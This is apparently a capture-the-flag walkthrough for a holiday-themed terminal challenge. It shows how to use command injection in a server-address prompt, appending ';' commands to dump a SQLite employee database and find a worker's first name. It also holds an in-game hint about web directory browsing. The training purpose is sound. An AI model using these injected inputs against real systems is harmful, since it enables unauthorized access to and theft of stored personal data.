Terminal Challenge--The Name Game (part 3)

Exploitation

The SQLite article from the hints suggests using this: `sqlite3 dbname.db .dump`

```
Validating data store for employee onboard information.
Enter address of server: 192.168.1.1; sqlite3 onboard.db .dump
```

That returns a lot of data. Since this is Linux, maybe we can use `grep`. In the opening screen of the terminal, Minty tells us she wants the first name for Chan.

```
We just hired this new worker,
Californian or New Yorker?
Think he's making some new toy bag...
My job is to make his name tag.

Golly gee, I'm glad that you came,
I recall naught but his last name!
Use our system or your own plan,
Find the first name of our guy "Chan!"

-Bushy Evergreen

To solve this challenge, determine the new worker's first name and submit to runtoanswer.
```

So, we can try `10.0.0.1; sqlite3 dbname.db .dump | grep "Chan"`

```
Validating data store for employee onboard information.
Enter address of server: 10.0.0.1;sqlite3 onboard.db .dump | grep "Chan"
connect: Network is unreachable
INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,'Los Angeles','90067','4
017533509','scottmchan90067@gmail.com');
onboard.db: SQLite 3.x database
Press Enter to continue...:
```

So, the answer is 'Scott'. Note: I was trying random IP addresses in the entry for fun--any text would have done.

Note: Most of the terminals allow copy and paste with Control-C and Control-V, and selection of large areas of text with shift-click. You could have copied the entire database to your terminal.

The last step is to answer the terminal's question. To do that, we need to execute the file `runtoanswer` that we saw in the directory listing from the last lesson. That file is in our working directory so we have to put `./runtoanswer` in our statement. We will use: `10.0.2.2; ./runtoanswer`.

```
Validating data store for employee onboard information.
Enter address of server: 10.0.2.2; ./runtoanswer
```

```
Validating data store for employee onboard information.
Enter address of server: 10.0.2.2; ./runtoanswer
connect: Network is unreachable
Loading, please wait......


Enter Mr. Chan's first name: Scott
```



```
Congratulations!
```

Now you will get additional hints if you click on Minty, and hints will also appear in your badge.

Minty Candycane 12:31PM

Thank you so much for your help! I've gotten Mr. Chan his name tag. I'd love to repay the favor.

Have you ever visited a website and seen a listing of files - like you're browsing a directory? Sometimes this is enabled on web servers.

This is generally unwanted behavior. You can find *sleighloads* of examples by searching the web for *index of*. On a website, it's sometimes as simple as removing characters from the end of a URL.

What a silly misconfiguration for leaking information!

...

Finding Browsable Directories
From: Minty Candycane

Website Directory Browsing
From: Minty Candycane

Up Next--The Directory Browsing Objective

2) Directory Browsing

Difficulty: 🎄🎄🎄🎄🎄

Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? Please analyze the CFP site to find out. *For hints on achieving this objective, please visit Minty Candycane and help her with the* **The Name Game** *Cranberry Pi terminal challenge.*